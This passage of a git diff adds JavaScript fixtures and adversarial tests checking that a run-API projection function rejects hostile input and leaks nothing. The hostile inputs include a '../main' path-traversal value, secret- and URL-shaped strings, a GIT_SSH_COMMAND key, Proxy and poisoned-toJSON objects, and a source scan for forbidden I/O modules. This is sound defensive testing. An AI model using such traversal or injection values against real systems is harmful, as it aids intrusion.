new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +function falseMap(keys) { + const values = {}; + for (const key of keys) values[key] = false; + return values; +} + +export function auditSideEffects() { + return falseMap(PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS); +} + +export function orchestrationSideEffects(overrides = {}) { + return { ...falseMap(RUN_ORCHESTRATION_SIDE_EFFECTS), ...overrides }; +} + +export function preflightSideEffects() { + return falseMap(RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS); +} + +export function validIdentity(overrides = {}) { + return { + run_id: RUN_ID, + base_sha: BASE_SHA, + assignment_id: ASSIGNMENT_ID, + provider: PROVIDER, + ...overrides, + }; +} + +export function validFact(overrides = {}) { + return { + fact_id: 'protected-ref-audit', + fact_kind: 'git_identity', + status: 'verified', + code: 'host_observed', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + sequence: 0, + subject: 'protected-refs', + authority: 'platform_git', + method: 'protected_ref_snapshot_compare', + input_digest: DIGEST, + output_digest: DIGEST, + exit_code: 0, + duration_ms: 1, + truncated: false, + payload: { base_sha: BASE_SHA, head_sha: HEAD_SHA }, + payload_digest: DIGEST, + artifact_digests: [], + ...overrides, + }; +} + +export function validDiscrepancy(overrides = {}) { + return { + discrepancy_id: 'protected-ref-audit', + discrepancy_kind: 'security', + status: 'recorded', + code: 'security_boundary', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + sequence: 0, + claim_ids: [], + fact_ids: ['protected-ref-audit'], + artifact_digests: [], + ...overrides, + }; +} + +export function validComparison(overrides = {}) { + return { + outcome: 'match', + storage: 'loose', + ref_class: 'user_protected', + protected: true, + default_branch_target: true, + ...overrides, + }; +} + +export function validFinding(overrides = {}) { + return { + code: 'moved_ref', + storage: 'loose', + ref_class: 'user_protected', + protected: true, + default_branch_target: true, + ...overrides, + }; +} + +export function validAudit(overrides = {}) { + const comparisons = overrides.comparisons ?? [validComparison()]; + const receipt = { + schema: PROTECTED_REF_AUDIT_SCHEMA_ID, + version: PROTECTED_REF_AUDIT_VERSION, + status: 'verified', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + base_sha: BASE_SHA, + repository_kind: 'local', + comparisons, + findings: [], + observed_classes: [], + facts: [validFact()], + discrepancies: [], + side_effects: auditSideEffects(), + observation: { + command_count: 2, + compared_count: comparisons.length, + duration_ms: 1, + loose_count: 1, + missing_count: 0, + packed_count: 0, + symbolic_count: 0, + }, + ...overrides, + }; + if (!Object.hasOwn(overrides, 'observation') && Object.hasOwn(overrides, 'comparisons')) { + receipt.observation = { + ...receipt.observation, + compared_count: receipt.comparisons.length, + }; + } + return receipt; +} + +export function failedAudit(code = 'moved_ref', overrides = {}) { + const finding = validFinding({ code, ...(code === 'missing_ref' ? { storage: 'absent' } : {}) }); + return validAudit({ + status: 'failed', + comparisons: [validComparison({ + outcome: code === 'hostile_ref' ? 'moved_ref' : code, + storage: finding.storage, + })], + findings: [finding], + observed_classes: [finding.code], + facts: [validFact({ status: 'failed', exit_code: 1 })], + discrepancies: [validDiscrepancy()], + observation: { + command_count: 2, + compared_count: 1, + duration_ms: 1, + loose_count: code === 'missing_ref' ? 0 : 1, + missing_count: code === 'missing_ref' ? 1 : 0, + packed_count: 0, + symbolic_count: 0, + }, + ...overrides, + }); +} + +export function validGitIdentity(overrides = {}) { + return { + schema: GIT_IDENTITY_SCHEMA_ID, + repository_path: HOSTILE_PATH, + base_sha: BASE_SHA, + digest: DIGEST, + ...overrides, + }; +} + +export function validPreflight(overrides = {}) { + const { assignment_ids: assignmentIdsOverride, ...rest } = overrides; + const assignmentIds = [...(assignmentIdsOverride ?? [ASSIGNMENT_ID])]; + const children = { + count: assignmentIds.length, + minimum: PREFLIGHT_MIN_CHILDREN, + maximum: PREFLIGHT_MAX_CHILDREN, + independent: true, + concurrency: assignmentIds.length, + assignment_ids: assignmentIds, + scope_pair_checks: 0, + }; + return { + schema: RUN_PREFLIGHT_SCHEMA_ID, + version: RUN_PREFLIGHT_VERSION, + status: 'ready', + run_id: RUN_ID, + children, + capacity: { + source: 'injected', + cpu_parallelism: 8, + total_ram_bytes: 8_589_934_592, + available_ram_bytes: 8_589_934_592, + required_ram_bytes: 268_435_456 * assignmentIds.length, + cpu_ok: true, + ram_ok: true, + }, + repository: { + path: HOSTILE_PATH, + base_sha: BASE_SHA, + object_type: 'commit', + git_dir: `${HOSTILE_PATH}/.git`, + }, + checks: [...RUN_PREFLIGHT_CHECKS], + side_effects: preflightSideEffects(), + git_identity: validGitIdentity(), + ...rest, + }; +} + +export function validLane(overrides = {}) { + return { + assignment_id: ASSIGNMENT_ID, + provider: PROVIDER, + model: MODEL, + status: 'projected', + identity: LANE_IDENTITY, + projected_keys: ['GIT_TERMINAL_PROMPT', 'XAI_API_KEY'], + credential_present: true, + ...overrides, + }; +} + +export function validOrchestration(overrides = {}) { + const lanes = overrides.lanes ?? [validLane()]; + const assignmentIds = lanes.map((lane) => lane.assignment_id); + const preflight = overrides.preflight ?? validPreflight({ assignment_ids: assignmentIds }); + const receipt = { + schema: RUN_ORCHESTRATION_SCHEMA_ID, + version: RUN_ORCHESTRATION_VERSION, + status: 'prepared', + run_id: RUN_ID, + intent: 'prepare', + preflight, + lanes, + checks: [...RUN_ORCHESTRATION_CHECKS], + side_effects: orchestrationSideEffects({ credentials_projected: true }), + ...overrides, + }; + if (overrides.preflight === undefined && overrides.lanes !== undefined) { + receipt.preflight = validPreflight({ assignment_ids: assignmentIds }); + } + return receipt; +} + +export function dispatchedOrchestration(overrides = {}) { + return validOrchestration({ + status: 'dispatched', + intent: 'dispatch', + side_effects: orchestrationSideEffects({ + credentials_projected: true, + credential_handoff_created: true, + task_dispatched: true, + provider_process_started: true, + }), + ...overrides, + }); +} + +export function orchestrationDenial(code = 'host_cpu_capacity_exceeded', overrides = {}) { + return { + schema: RUN_PREFLIGHT_SCHEMA_ID, + version: RUN_PREFLIGHT_VERSION, + code, + run_id: RUN_ID, + ...overrides, + }; +} + +export function validLifecycle(overrides = {}) { + return { + status: 'terminal', + cleaned: true, + missing: false, + unresolved: [], + ...overrides, + }; +} + +export function unresolvedLifecycle(overrides = {}) { + return validLifecycle({ + status: 'cancelled', + cleaned: false, + unresolved: [{ assignment_id: ASSIGNMENT_ID, code: 'handoff_cleanup_failed' }], + ...overrides, + }); +} + +export function validInput(overrides = {}) { + const input = { + schema: RUN_API_BOUNDARY_SCHEMA_ID, + version: RUN_API_BOUNDARY_VERSION, + identity: validIdentity(), + audit: validAudit(), + orchestration: validOrchestration(), + ...overrides, + }; + if (overrides.identity) input.identity = { ...validIdentity(), ...overrides.identity }; + if (overrides.audit) input.audit = overrides.audit; + if (overrides.orchestration) input.orchestration = overrides.orchestration; + if (Object.hasOwn(overrides, 'lifecycle')) input.lifecycle = overrides.lifecycle; + return input; +} + +export { + PROTECTED_REF_AUDIT_CHECKS, + RUN_ORCHESTRATION_CHECKS, + RUN_PREFLIGHT_CHECKS, +}; diff --git a/plugins/codex-co-engineer/test/r1-run-api-boundary-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-api-boundary-adversarial.test.mjs new file mode 100644 index 0000000..4317835 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-api-boundary-adversarial.test.mjs @@ -0,0 +1,338 @@ +// P32 run API boundary — adversarial coverage: forged schema/version/status, +// unknown keys, Proxy/getter/exotic prototype/cycle, post-validation mutation, +// oversized collections, hostile toJSON/inspection/error text, secret and +// path-shaped values, and static/dynamic no-I/O proof. Projection never +// executes P30 audit, P31 lifecycle, Git, fs, process, network, or credentials. + +import assert from 'node:assert/strict'; +import childProcess from 'node:child_process'; +import fs, { readFileSync } from 'node:fs'; +import http from 'node:http'; +import net from 'node:net'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; +import { inspect, types as utilTypes } from 'node:util'; + +import { MAX_AUDIT_REFS } from '../mcp/v3/protected-ref-audit.mjs'; +import { + MAX_API_COLLECTION, + MAX_API_KEY_BYTES, + MAX_API_OBJECT_KEYS, + projectRunApiBoundaryV1, +} from '../mcp/v3/run-api-boundary.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CONTENT_FREE, + HOSTILE_ENV, + HOSTILE_GIT, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + HOSTILE_URL, + countingProxy, + failedAudit, + orchestrationDenial, + trapTotal, + validAudit, + validComparison, + validInput, + validOrchestration, +} from './fixtures/r1-run-api-boundary-fixtures.mjs'; + +const ADAPTER_SOURCE = readFileSync( + fileURLToPath(new URL('../mcp/v3/run-api-boundary.mjs', import.meta.url)), + 'utf8', +); + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +function assertPublicFailure(error, extras = []) { + assert.ok(error instanceof RunContractV1Error); + assertContentFree(error, extras); + assertContentFree(error.path, extras); + assertContentFree(error.message, extras); + assertContentFree(inspect({ + name: error.name, code: error.code, path: error.path, message: error.message, + }, { depth: 4, getters: true }), extras); + assert.equal(String(error.message).includes('TypeError'), false); + assert.ok(Buffer.byteLength(error.message, 'utf8') <= 200); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false); + assert.equal(text.includes('https://'), false); + assert.equal(text.includes('git@'), false); + assert.equal(text.includes(HOSTILE_PATH), false); + assert.equal(text.includes(HOSTILE_URL), false); + assert.equal(text.includes(HOSTILE_GIT), false); + assert.equal(text.includes(HOSTILE_SECRET), false); + assert.equal(text.includes(HOSTILE_TOKEN), false); + assert.equal(text.includes(HOSTILE_ENV), false); + for (const extra of extras) { + if (typeof extra === 'string' && extra.length > 0 && extra.length < 500) { + assert.equal(text.includes(extra), false, `leaked ${JSON.stringify(extra)}`); + } + } + if (typeof value === 'string' && value.length <= 200 && !value.includes('\n') && !value.startsWith('{')) { + assert.match(value, CONTENT_FREE); + } + if (typeof value === 'object' && value && typeof value.message === 'string') { + assert.match(value.message, CONTENT_FREE); + } +} + +function assertRejected(action, extras = []) { + const error = errorOf(action); + assertPublicFailure(error, extras); + return error; +} + +test('forged schema version and status fail closed without leaking caller bytes', () => { + const schema = assertRejected(() => projectRunApiBoundaryV1(validInput({ + schema: 'codex-co-engineer.run-orchestration.v1', + }))); + assert.equal(schema.code, 'invalid_format'); + + const version = assertRejected(() => projectRunApiBoundaryV1(validInput({ version: 2 }))); + assert.equal(version.code, 'invalid_format'); + + const auditSchema = assertRejected(() => projectRunApiBoundaryV1(validInput({ + audit: validAudit({ schema: 'codex-co-engineer.git-authority.v1' }), + }))); + assert.equal(auditSchema.code, 'invalid_format'); + + const auditStatus = assertRejected(() => projectRunApiBoundaryV1(validInput({ + audit: validAudit({ status: 'ready' }), + }))); + assert.equal(auditStatus.code, 'invalid_format'); + + const orchestrationStatus = assertRejected(() => projectRunApiBoundaryV1(validInput({ + orchestration: validOrchestration({ status: 'verified' }), + }))); + assert.equal(orchestrationStatus.code, 'invalid_format'); +}); + +test('missing duplicate alias and unknown keys fail closed', () => { + const missing = validInput(); + delete missing.audit; + assert.equal(assertRejected(() => projectRunApiBoundaryV1(missing)).code, 'missing_key'); + + const unknown = validInput(); + unknown.extra = true; + assert.equal(assertRejected(() => projectRunApiBoundaryV1(unknown)).code, 'unknown_key'); + + const auditUnknown = validInput(); + auditUnknown.audit = validAudit({ ref: 'refs/heads/main' }); + assert.equal(assertRejected(() => projectRunApiBoundaryV1(auditUnknown)).code, 'unknown_key'); + + const duplicateLane = validInput({ + orchestration: validOrchestration({ + lanes: [ + { ...validInput().orchestration.lanes[0] }, + { ...validInput().orchestration.lanes[0], identity: 'aa'.repeat(16) }, + ], + }), + }); + assert.equal(assertRejected(() => projectRunApiBoundaryV1(duplicateLane)).code, 'invalid_format'); + + const aliased = validInput(); + aliased.audit.facts = aliased.orchestration.lanes; + assert.equal(assertRejected(() => projectRunApiBoundaryV1(aliased)).code, 'aliased_reference_denied'); +}); + +test('proxy accessor symbol exotic prototype and cycles fail closed without running traps', () => { + const { proxy, counts } = countingProxy(validInput()); + assert.equal(assertRejected(() => projectRunApiBoundaryV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const accessor = validInput(); + Object.defineProperty(accessor, 'audit', { + get() { throw new Error(`accessor ran ${HOSTILE_SECRET}`); }, + enumerable: true, + }); + const accessorError = assertRejected(() => projectRunApiBoundaryV1(accessor), [HOSTILE_SECRET]); + assert.ok(['accessor_property_denied', 'invalid_type'].includes(accessorError.code), accessorError.code); + + const symbolKeyed = validInput(); + symbolKeyed[Symbol('secret')] = HOSTILE_TOKEN; + assert.equal(assertRejected(() => projectRunApiBoundaryV1(symbolKeyed), [HOSTILE_TOKEN]).code, 'symbol_key_denied'); + + const exotic = validInput(); + Object.setPrototypeOf(exotic, { toJSON() { return HOSTILE_SECRET; } }); + assert.equal(assertRejected(() => projectRunApiBoundaryV1(exotic), [HOSTILE_SECRET]).code, 'exotic_prototype_denied'); + + const cyclic = validInput(); + cyclic.audit.comparisons.push(cyclic.audit.comparisons[0]); + assert.equal(assertRejected(() => projectRunApiBoundaryV1(cyclic)).code, 'aliased_reference_denied'); +}); + +test('post-validation mutation of input cannot change a frozen result', () => { + const input = validInput(); + const result = projectRunApiBoundaryV1(input); + input.audit = failedAudit('moved_ref'); + input.orchestration = orchestrationDenial('host_cpu_capacity_exceeded'); + input.identity.provider = 'dsh'; + assert.equal(result.status, 'ready'); + assert.equal(result.audit.status, 'verified'); + assert.equal(result.provider, 'grok'); + assert.throws(() => { result.invariants.remote_mutated = true; }); + assert.throws(() => { result.side_effects.gate_a_claimed = true; }); +}); + +test('oversized collections and strings fail closed without echoing attacker bytes', () => { + const huge = 'a'.repeat(1024); + const hugeRun = assertRejected( + () => projectRunApiBoundaryV1(validInput({ identity: { run_id: huge } })), + [huge], + ); + assert.ok(['bounds_exceeded', 'invalid_format'].includes(hugeRun.code), hugeRun.code); + + const comparisons = []; + for (let i = 0; i < MAX_AUDIT_REFS + 1; i += 1) comparisons.push(validComparison()); + const oversized = assertRejected(() => projectRunApiBoundaryV1(validInput({ + audit: validAudit({ + comparisons, + observation: { + command_count: 2, + compared_count: comparisons.length, + duration_ms: 1, + loose_count: comparisons.length, + missing_count: 0, + packed_count: 0, + symbolic_count: 0, + }, + }), + }))); + assert.equal(oversized.code, 'bounds_exceeded'); + assert.ok(MAX_API_COLLECTION >= 1); + assert.ok(MAX_API_OBJECT_KEYS >= 8); + assert.ok(MAX_API_KEY_BYTES >= 8); + + const pathBomb = `${HOSTILE_PATH}/${'x'.repeat(5000)}`; + const dropped = validInput(); + dropped.orchestration.preflight.repository.path = pathBomb; + const pathError = assertRejected(() => projectRunApiBoundaryV1(dropped), [pathBomb, HOSTILE_PATH]); + assert.equal(pathError.code, 'bounds_exceeded'); +}); + +test('hostile toJSON inspection and error text never leak secrets or paths', () => { + const poisoned = validInput(); + poisoned.toJSON = () => ({ secret: HOSTILE_SECRET, url: HOSTILE_URL }); + const toJsonError = assertRejected( + () => projectRunApiBoundaryV1(poisoned), + [HOSTILE_SECRET, HOSTILE_URL], + ); + assert.ok(['unknown_key', 'invalid_type'].includes(toJsonError.code), toJsonError.code); + + const result = projectRunApiBoundaryV1(validInput()); + const inspected = inspect(result, { depth: 8, getters: true, showHidden: true }); + assertContentFree(inspected); + assertContentFree(JSON.stringify(result)); + + const denial = assertRejected(() => projectRunApiBoundaryV1(validInput({ + identity: { run_id: HOSTILE_URL }, + })), [HOSTILE_URL, 'token=secret']); + assert.equal(denial.code, 'invalid_format'); +}); + +test('secret and path-shaped identity values fail closed without leaking content', () => { + const cases = [ + { run_id: HOSTILE_URL }, + { run_id: HOSTILE_PATH }, + { assignment_id: '../main' }, + { assignment_id: HOSTILE_SECRET }, + { base_sha: HOSTILE_TOKEN }, + { provider: HOSTILE_GIT }, + ]; + for (const override of cases) { + const extras = Object.values(override).filter((value) => typeof value === 'string' && value.length < 200); + const error = assertRejected( + () => projectRunApiBoundaryV1(validInput({ identity: override })), + extras, + ); + assert.ok(['invalid_format', 'identity_mismatch'].includes(error.code), error.code); + } +}); + +test('adapter source and dynamic projection never invoke I/O credential or lifecycle mechanisms', () => { + assert.equal(ADAPTER_SOURCE.includes('auditProtectedRefsV1'), false); + assert.equal(ADAPTER_SOURCE.includes('parseProtectedRefAuditRequestV1'), false); + assert.equal(ADAPTER_SOURCE.includes('orchestrateRunDispatchV1'), false); + assert.equal(ADAPTER_SOURCE.includes('cancelRunDispatchV1'), false); + assert.equal(ADAPTER_SOURCE.includes('completeRunDispatchV1'), false); + assert.equal(ADAPTER_SOURCE.includes('restartRunDispatchV1'), false); + assert.equal(ADAPTER_SOURCE.includes('denyRunRemoteMutationV1'), false); + assert.equal(ADAPTER_SOURCE.includes('validateRunPreflightV1'), false); + assert.equal(ADAPTER_SOURCE.includes('createCredentialHandoff'), false); + assert.equal(ADAPTER_SOURCE.includes('materializeProviderEnvironment'), false); + assert.equal(ADAPTER_SOURCE.includes('node:fs'), false); + assert.equal(ADAPTER_SOURCE.includes('node:child_process'), false); + assert.equal(ADAPTER_SOURCE.includes('node:net'), false); + assert.equal(ADAPTER_SOURCE.includes('node:http'), false); + assert.equal(ADAPTER_SOURCE.includes('node:https'), false); + assert.equal(ADAPTER_SOURCE.includes('process.env'), false); + assert.equal(ADAPTER_SOURCE.includes('process.argv'), false); + + let calls = 0; + const bump = (...args) => { calls += 1; return args; }; + const spawnOrig = childProcess.spawn; + const execOrig = childProcess.execFile; + const readOrig = fs.readFileSync; + const writeOrig = fs.writeFileSync; + const connectOrig = net.connect; + const requestOrig = http.request; + const envOrig = process.env; + childProcess.spawn = (...args) => { bump(); return spawnOrig(...args); }; + childProcess.execFile = (...args) => { bump(); return execOrig(...args); }; + fs.readFileSync = (...args) => { bump(); return readOrig(...args); }; + fs.writeFileSync = (...args) => { bump(); return writeOrig(...args); }; + net.connect = (...args) => { bump(); return connectOrig(...args); }; + http.request = (...args) => { bump(); return requestOrig(...args); }; + try { + const ready = projectRunApiBoundaryV1(validInput()); + const failed = projectRunApiBoundaryV1(validInput({ audit: failedAudit('moved_ref') })); + const denied = projectRunApiBoundaryV1(validInput({ + orchestration: orchestrationDenial('host_ram_capacity_exceeded'), + })); + assert.equal(ready.status, 'ready'); + assert.equal(failed.status, 'failed'); + assert.equal(denied.status, 'denied'); + assert.equal(calls, 0); + assert.equal(process.env, envOrig); + } finally { + childProcess.spawn = spawnOrig; + childProcess.execFile = execOrig; + fs.readFileSync = readOrig; + fs.writeFileSync = writeOrig; + net.connect = connectOrig; + http.request = requestOrig; + } +}); + +test('nested hostile credential env argv and handoff-shaped fields are not projected', () => { + const input = validInput(); + input.orchestration.preflight.repository.path = HOSTILE_PATH; + input.orchestration.preflight.repository.git_dir = `${HOSTILE_PATH}/.git`; + input.orchestration.preflight.git_identity.repository_path = HOSTILE_PATH; + input.orchestration.lanes[0].projected_keys = ['XAI_API_KEY', 'GIT_SSH_COMMAND']; + input.orchestration.lanes[0].identity = 'ab'.repeat(16); + const result = projectRunApiBoundaryV1(input); + assert.equal(result.status, 'ready'); + const serialized = JSON.stringify(result); + assert.equal(serialized.includes(HOSTILE_PATH), false); + assert.equal(serialized.includes('XAI_API_KEY'), false); + assert.equal(serialized.includes('GIT_SSH_COMMAND'), false); + assert.equal(serialized.includes(input.orchestration.lanes[0].identity), false); + assert.equal(Object.hasOwn(result.orchestration, 'preflight'), false); + assertContentFree(result); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-api-boundary.test.mjs b/plugins/codex-co-engineer/test/r1-run-api-boundary.test.mjs new file mode 100644 index 0000000..6720118 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-api-boundary.test.mjs @@ -0,0 +1,307 @@ +// P32 run API boundary — focused coverage: paired P30/P31 success projection, +// deterministic frozen JSON, negative evidence preservation, identity binding, +// detachment, and concurrent pure projection. This suite never executes P30 +// audit or P31 orchestration lifecycles. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { PROTECTED_REF_AUDIT_SCHEMA_ID } from '../mcp/v3/protected-ref-audit.mjs'; +import { + RUN_API_BOUNDARY_CHECKS, + RUN_API_BOUNDARY_SCHEMA_ID, + RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS, + RUN_API_BOUNDARY_VERSION, + describeRunApiBoundaryV1, + projectRunApiBoundaryV1, +} from '../mcp/v3/run-api-boundary.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { RUN_ORCHESTRATION_SCHEMA_ID } from '../mcp/v3/run-orchestration.mjs'; +import { RUN_PREFLIGHT_SCHEMA_ID } from '../mcp/v3/run-preflight.mjs'; +import { + ASSIGNMENT_ID, + ASSIGNMENT_ID_B, + BASE_SHA, + CONTENT_FREE, + HOSTILE_GIT, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + HOSTILE_URL, + LANE_IDENTITY_B, + MODEL, + PROVIDER, + RUN_ID, + dispatchedOrchestration, + failedAudit, + orchestrationDenial, + unresolvedLifecycle, + validAudit, + validInput, + validLane, + validLifecycle, + validOrchestration, +} from './fixtures/r1-run-api-boundary-fixtures.mjs'; + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false, 'must not leak repository paths'); + assert.equal(text.includes('https://'), false, 'must not leak URLs'); + assert.equal(text.includes('git@'), false, 'must not leak hosting URLs'); + assert.equal(text.includes(HOSTILE_PATH), false); + assert.equal(text.includes(HOSTILE_URL), false); + assert.equal(text.includes(HOSTILE_GIT), false); + assert.equal(text.includes(HOSTILE_SECRET), false); + assert.equal(text.includes(HOSTILE_TOKEN), false); + for (const extra of extras) { + assert.equal(text.includes(extra), false, `must not echo ${extra}`); + } + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +function assertAdapterNonclaims(result) { + for (const key of RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS) { + assert.equal(result.side_effects[key], false, key); + } + assert.equal(result.invariants.read_only_audit, true); + assert.equal(result.invariants.credentials_not_projected, true); + assert.equal(result.invariants.refs_not_mutated, true); + assert.equal(result.invariants.workspace_not_created, true); + assert.equal(result.invariants.reservation_not_held, true); + assert.equal(result.invariants.remote_mutated, false); + assert.equal(result.invariants.public_api_exposed, false); + assert.equal(result.invariants.gate_a_claimed, false); + assert.equal(result.invariants.release_decided, false); + assert.equal(result.invariants.supervisor_cutover, false); + assert.equal(result.invariants.cleanup_truthful, true); +} + +test('RunApiBoundaryV1 is a closed frozen v1 adapter and not a 4.0.0 major', () => { + assert.equal(RUN_API_BOUNDARY_SCHEMA_ID, 'codex-co-engineer.run-api-boundary.v1'); + assert.equal(RUN_API_BOUNDARY_VERSION, 1); + assert.equal(RUN_API_BOUNDARY_SCHEMA_ID.includes('4.0.0'), false); + const inventory = describeRunApiBoundaryV1(); + const again = describeRunApiBoundaryV1(); + assert.ok(Object.isFrozen(inventory)); + assert.ok(Object.isFrozen(inventory.composed_surfaces)); + assert.equal(inventory.rule, 'pure_projection_of_accepted_p30_p31_receipts'); + assert.equal(inventory.composed_surfaces.protected_ref_audit, PROTECTED_REF_AUDIT_SCHEMA_ID); + assert.equal(inventory.composed_surfaces.run_orchestration, RUN_ORCHESTRATION_SCHEMA_ID); + assert.equal(inventory.composed_surfaces.run_preflight, RUN_PREFLIGHT_SCHEMA_ID); + assert.equal(inventory.composed_surfaces.remote_mutation, 'denied'); + assert.equal(inventory.composed_surfaces.gate_a, 'not claimed'); + assert.equal(inventory.composed_surfaces.audit_lifecycle, 'not invoked; receipts are consumed as values'); + assert.deepStrictEqual( + JSON.parse(JSON.stringify(inventory)), + JSON.parse(JSON.stringify(again)), + ); + assert.deepEqual([...inventory.checks], [...RUN_API_BOUNDARY_CHECKS]); +}); + +test('paired P30/P31 success projects a detached ready result with stable JSON', () => { + const input = validInput(); + const first = projectRunApiBoundaryV1(input); + const second = projectRunApiBoundaryV1(validInput()); + assert.equal(first.status, 'ready'); + assert.equal(first.schema, RUN_API_BOUNDARY_SCHEMA_ID); + assert.equal(first.run_id, RUN_ID); + assert.equal(first.base_sha, BASE_SHA); + assert.equal(first.assignment_id, ASSIGNMENT_ID); + assert.equal(first.provider, PROVIDER); + assert.equal(first.audit.status, 'verified'); + assert.equal(first.audit.schema, PROTECTED_REF_AUDIT_SCHEMA_ID); + assert.equal(first.audit.comparisons[0].outcome, 'match'); + assert.equal(first.audit.facts[0].method, 'protected_ref_snapshot_compare'); + assert.equal(first.audit.facts[0].authority, 'platform_git'); + assert.equal(first.audit.discrepancies.length, 0); + assert.equal(first.orchestration.kind, 'receipt'); + assert.equal(first.orchestration.status, 'prepared'); + assert.equal(first.orchestration.preflight_status, 'ready'); + assert.equal(first.orchestration.lanes[0].provider, PROVIDER); + assert.equal(first.orchestration.lanes[0].model, MODEL); + assert.equal(first.orchestration.lanes[0].credential_present, true); + assert.equal(Object.hasOwn(first.orchestration.lanes[0], 'identity'), false); + assert.equal(Object.hasOwn(first.orchestration.lanes[0], 'projected_keys'), false); + assert.equal(first.lifecycle, null); + assert.ok(Object.isFrozen(first)); + assert.ok(Object.isFrozen(first.audit)); + assert.ok(Object.isFrozen(first.orchestration.lanes[0])); + assertAdapterNonclaims(first); + assertContentFree(first); + assert.equal(JSON.stringify(first), JSON.stringify(second)); + assert.equal(canonicalJsonStringify(first), canonicalJsonStringify(second)); +}); + +test('dispatched orchestration with a clean lifecycle remains ready', () => { + const result = projectRunApiBoundaryV1(validInput({ + orchestration: dispatchedOrchestration(), + lifecycle: validLifecycle(), + })); + assert.equal(result.status, 'ready'); + assert.equal(result.orchestration.status, 'dispatched'); + assert.equal(result.orchestration.side_effects.task_dispatched, true); + assert.equal(result.orchestration.side_effects.workspace_created, false); + assert.equal(result.lifecycle.cleaned, true); + assert.equal(result.lifecycle.unresolved.length, 0); + assertContentFree(result, [HOSTILE_PATH]); +}); + +test('P30 moved missing and hostile-ref receipts remain failed without side effects', () => { + for (const code of ['moved_ref', 'missing_ref', 'hostile_ref']) { + const result = projectRunApiBoundaryV1(validInput({ audit: failedAudit(code) })); + assert.equal(result.status, 'failed', code); + assert.equal(result.audit.status, 'failed', code); + assert.equal(result.audit.findings[0].code, code, code); + assert.equal(result.audit.facts[0].status, 'failed', code); + assert.equal(result.audit.discrepancies[0].code, 'security_boundary', code); + assert.equal(result.orchestration.status, 'prepared', code); + assertAdapterNonclaims(result); + assertContentFree(result); + } +}); + +test('P31 failed-preflight and capacity-denied inputs remain denied', () => { + const preflight = projectRunApiBoundaryV1(validInput({ + orchestration: orchestrationDenial('repository_not_canonical'), + })); + assert.equal(preflight.status, 'denied'); + assert.equal(preflight.orchestration.kind, 'denial'); + assert.equal(preflight.orchestration.code, 'repository_not_canonical'); + assert.equal(preflight.audit.status, 'verified'); + assertAdapterNonclaims(preflight); + assertContentFree(preflight); + + const cpu = projectRunApiBoundaryV1(validInput({ + orchestration: orchestrationDenial('host_cpu_capacity_exceeded'), + })); + assert.equal(cpu.status, 'denied'); + assert.equal(cpu.orchestration.code, 'host_cpu_capacity_exceeded'); + + const ram = projectRunApiBoundaryV1(validInput({ + orchestration: orchestrationDenial('host_ram_capacity_exceeded', { + schema: RUN_ORCHESTRATION_SCHEMA_ID, + version: 1, + }), + })); + assert.equal(ram.status, 'denied'); + assert.equal(ram.orchestration.code, 'host_ram_capacity_exceeded'); +}); + +test('P31 cleanup-unresolved lifecycle remains unresolved and is not normalized away', () => { + const result = projectRunApiBoundaryV1(validInput({ + orchestration: dispatchedOrchestration(), + lifecycle: unresolvedLifecycle(), + })); + assert.equal(result.status, 'unresolved'); + assert.equal(result.lifecycle.cleaned, false); + assert.equal(result.lifecycle.unresolved[0].code, 'handoff_cleanup_failed'); + assert.equal(result.audit.status, 'verified'); + assert.equal(result.orchestration.status, 'dispatched'); + assertAdapterNonclaims(result); + assertContentFree(result); +}); + +test('failed audit is not upgraded by a successful orchestration or clean lifecycle', () => { + const result = projectRunApiBoundaryV1(validInput({ + audit: failedAudit('moved_ref'), + orchestration: dispatchedOrchestration(), + lifecycle: validLifecycle(), + })); + assert.equal(result.status, 'failed'); + assert.equal(result.audit.status, 'failed'); + assert.equal(result.lifecycle.cleaned, true); +}); + +test('identity base provider and lane mismatches fail closed', () => { + assert.equal(errorOf(() => projectRunApiBoundaryV1(validInput({ + identity: { run_id: 'run-other-identity' }, + }))).code, 'identity_mismatch'); + assert.equal(errorOf(() => projectRunApiBoundaryV1(validInput({ + identity: { base_sha: 'aaaabbbbccccddddeeeeffff0000111122223333' }, + }))).code, 'identity_mismatch'); + 